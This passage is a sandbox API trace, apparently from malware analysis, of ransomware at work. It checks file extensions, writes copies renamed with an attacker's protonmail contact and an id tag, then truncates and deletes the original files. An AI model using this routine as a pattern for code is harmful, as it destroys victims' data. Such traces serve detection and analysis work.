	[0062.005] lstrlenW (lpString=".zip") returned 4
	[0062.005] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.005] lstrlenW (lpString=".rar") returned 4
	[0062.005] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.005] lstrlenW (lpString=".bz2") returned 4
	[0062.005] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.005] lstrlenW (lpString=".7z") returned 3
	[0062.005] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.005] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0062.005] lstrlenW (lpString=".dbf") returned 4
	[0062.005] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.005] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0062.005] lstrlenW (lpString=".1cd") returned 4
	[0062.005] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.005] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0062.005] lstrlenW (lpString=".jpg") returned 4
	[0062.005] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.005] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0062.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0062.006] lstrlenW (lpString=".doc") returned 4
	[0062.006] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.006] lstrlenW (lpString=".docx") returned 5
	[0062.006] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.006] lstrlenW (lpString=".pdf") returned 4
	[0062.006] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.006] lstrlenW (lpString=".xls") returned 4
	[0062.006] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.006] lstrlenW (lpString=".xlsx") returned 5
	[0062.006] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.006] lstrlenW (lpString=".ppt") returned 4
	[0062.006] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0062.006] lstrlenW (lpString=".zip") returned 4
	[0062.006] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.006] lstrlenW (lpString=".rar") returned 4
	[0062.006] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.006] lstrlenW (lpString=".bz2") returned 4
	[0062.006] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.006] lstrlenW (lpString=".7z") returned 3
	[0062.006] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0062.006] lstrlenW (lpString=".dbf") returned 4
	[0062.006] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0062.006] lstrlenW (lpString=".1cd") returned 4
	[0062.006] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0062.006] lstrlenW (lpString=".jpg") returned 4
	[0062.006] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.007] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0062.007] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0062.007] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0062.007] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=65238) returned 1
	[0062.007] CloseHandle (hObject=0x2f8) returned 1
	[0062.007] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80
	[0062.007] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.007] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0062.007] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.007] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.007] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.008] GetLastError () returned 0x0
	[0062.008] ReadFile (in: hFile=0x2f8, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xfed6, lpOverlapped=0x0) returned 1
	[0062.011] WriteFile (in: hFile=0x328, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xfee0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xfee0, lpOverlapped=0x0) returned 1
	[0062.013] ReadFile (in: hFile=0x2f8, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.013] WriteFile (in: hFile=0x328, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0062.013] SetEndOfFile (hFile=0x328) returned 1
	[0062.013] CloseHandle (hObject=0x328) returned 1
	[0062.015] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.015] SetEndOfFile (hFile=0x2f8) returned 1
	[0062.017] CloseHandle (hObject=0x2f8) returned 1
	[0062.017] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.017] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 1
	[0062.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0062.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0062.017] lstrlenW (lpString=".doc") returned 4
	[0062.017] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.018] lstrlenW (lpString=".docx") returned 5
	[0062.018] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.018] lstrlenW (lpString=".pdf") returned 4
	[0062.018] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.018] lstrlenW (lpString=".xls") returned 4
	[0062.018] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.018] lstrlenW (lpString=".xlsx") returned 5
	[0062.018] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.018] lstrlenW (lpString=".ppt") returned 4
	[0062.018] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0062.018] lstrlenW (lpString=".zip") returned 4
	[0062.018] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.018] lstrlenW (lpString=".rar") returned 4
	[0062.018] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.018] lstrlenW (lpString=".bz2") returned 4
	[0062.018] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.018] lstrlenW (lpString=".7z") returned 3
	[0062.018] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0062.018] lstrlenW (lpString=".dbf") returned 4
	[0062.018] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0062.018] lstrlenW (lpString=".1cd") returned 4
	[0062.018] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0062.018] lstrlenW (lpString=".jpg") returned 4
	[0062.018] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0062.019] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0062.019] lstrlenW (lpString=".doc") returned 4
	[0062.019] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.019] lstrlenW (lpString=".docx") returned 5
	[0062.019] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.019] lstrlenW (lpString=".pdf") returned 4
	[0062.019] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.019] lstrlenW (lpString=".xls") returned 4
	[0062.019] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.019] lstrlenW (lpString=".xlsx") returned 5
	[0062.019] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.019] lstrlenW (lpString=".ppt") returned 4
	[0062.019] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.019] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0062.019] lstrlenW (lpString=".zip") returned 4
	[0062.019] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.019] lstrlenW (lpString=".rar") returned 4
	[0062.019] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.019] lstrlenW (lpString=".bz2") returned 4
	[0062.019] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.019] lstrlenW (lpString=".7z") returned 3
	[0062.019] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.019] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0062.019] lstrlenW (lpString=".dbf") returned 4
	[0062.019] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.019] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0062.019] lstrlenW (lpString=".1cd") returned 4
	[0062.019] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.019] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0062.020] lstrlenW (lpString=".jpg") returned 4
	[0062.020] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.020] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0062.020] lstrlenW (lpString="eula.rtf") returned 8
	[0062.020] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0062.091] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=3546) returned 1
	[0062.091] CloseHandle (hObject=0x338) returned 1
	[0062.091] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80
	[0062.091] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.092] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0062.092] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.092] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.092] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0062.092] GetLastError () returned 0x0
	[0062.092] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xdda, lpOverlapped=0x0) returned 1
	[0062.093] WriteFile (in: hFile=0x33c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xde0, lpOverlapped=0x0) returned 1
	[0062.094] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.094] WriteFile (in: hFile=0x33c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0062.094] SetEndOfFile (hFile=0x33c) returned 1
	[0062.095] CloseHandle (hObject=0x33c) returned 1
	[0062.095] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.095] SetEndOfFile (hFile=0x338) returned 1
	[0062.096] CloseHandle (hObject=0x338) returned 1
	[0062.096] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.097] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 1
	[0062.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0062.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0062.097] lstrlenW (lpString=".doc") returned 4
	[0062.097] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.097] lstrlenW (lpString=".docx") returned 5
	[0062.097] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.097] lstrlenW (lpString=".pdf") returned 4
	[0062.097] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.097] lstrlenW (lpString=".xls") returned 4
	[0062.097] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.097] lstrlenW (lpString=".xlsx") returned 5
	[0062.097] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.097] lstrlenW (lpString=".ppt") returned 4
	[0062.097] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0062.097] lstrlenW (lpString=".zip") returned 4
	[0062.097] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.097] lstrlenW (lpString=".rar") returned 4
	[0062.097] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.097] lstrlenW (lpString=".bz2") returned 4
	[0062.098] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.098] lstrlenW (lpString=".7z") returned 3
	[0062.098] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0062.098] lstrlenW (lpString=".dbf") returned 4
	[0062.098] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0062.098] lstrlenW (lpString=".1cd") returned 4
	[0062.098] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0062.098] lstrlenW (lpString=".jpg") returned 4
	[0062.098] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0062.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0062.098] lstrlenW (lpString=".doc") returned 4
	[0062.098] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.098] lstrlenW (lpString=".docx") returned 5
	[0062.098] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.098] lstrlenW (lpString=".pdf") returned 4
	[0062.098] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.098] lstrlenW (lpString=".xls") returned 4
	[0062.098] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.098] lstrlenW (lpString=".xlsx") returned 5
	[0062.098] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.098] lstrlenW (lpString=".ppt") returned 4
	[0062.098] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0062.098] lstrlenW (lpString=".zip") returned 4
	[0062.098] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.098] lstrlenW (lpString=".rar") returned 4
	[0062.098] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.099] lstrlenW (lpString=".bz2") returned 4
	[0062.099] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.099] lstrlenW (lpString=".7z") returned 3
	[0062.099] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.099] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0062.099] lstrlenW (lpString=".dbf") returned 4
	[0062.099] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.099] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0062.099] lstrlenW (lpString=".1cd") returned 4
	[0062.099] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.099] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0062.099] lstrlenW (lpString=".jpg") returned 4
	[0062.099] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.099] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0062.099] lstrlenW (lpString="eula.rtf") returned 8
	[0062.099] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0062.099] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=4040) returned 1
	[0062.100] CloseHandle (hObject=0x338) returned 1
	[0062.100] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80
	[0062.100] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.100] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0062.100] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.100] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.100] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0062.100] GetLastError () returned 0x0
	[0062.100] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xfc8, lpOverlapped=0x0) returned 1
	[0062.102] WriteFile (in: hFile=0x33c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xfd0, lpOverlapped=0x0) returned 1
	[0062.103] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.103] WriteFile (in: hFile=0x33c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0062.103] SetEndOfFile (hFile=0x33c) returned 1
	[0062.103] CloseHandle (hObject=0x33c) returned 1
	[0062.104] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.104] SetEndOfFile (hFile=0x338) returned 1
	[0062.105] CloseHandle (hObject=0x338) returned 1
	[0062.105] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.105] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 1
	[0062.106] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0062.106] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0062.106] lstrlenW (lpString=".doc") returned 4
	[0062.106] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.106] lstrlenW (lpString=".docx") returned 5
	[0062.106] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.106] lstrlenW (lpString=".pdf") returned 4
	[0062.106] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.106] lstrlenW (lpString=".xls") returned 4
	[0062.106] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.106] lstrlenW (lpString=".xlsx") returned 5
	[0062.106] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.106] lstrlenW (lpString=".ppt") returned 4
	[0062.106] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.106] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0062.106] lstrlenW (lpString=".zip") returned 4
	[0062.106] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.106] lstrlenW (lpString=".rar") returned 4
	[0062.106] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.106] lstrlenW (lpString=".bz2") returned 4
	[0062.106] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.106] lstrlenW (lpString=".7z") returned 3
	[0062.106] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.106] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0062.106] lstrlenW (lpString=".dbf") returned 4
	[0062.106] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.106] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0062.106] lstrlenW (lpString=".1cd") returned 4
	[0062.107] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.107] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0062.107] lstrlenW (lpString=".jpg") returned 4
	[0062.107] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.107] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0062.107] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0062.107] lstrlenW (lpString=".doc") returned 4
	[0062.107] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.107] lstrlenW (lpString=".docx") returned 5
	[0062.107] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.107] lstrlenW (lpString=".pdf") returned 4
	[0062.107] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.107] lstrlenW (lpString=".xls") returned 4
	[0062.107] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.107] lstrlenW (lpString=".xlsx") returned 5
	[0062.107] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.107] lstrlenW (lpString=".ppt") returned 4
	[0062.107] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.107] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0062.107] lstrlenW (lpString=".zip") returned 4
	[0062.107] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.107] lstrlenW (lpString=".rar") returned 4
	[0062.107] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
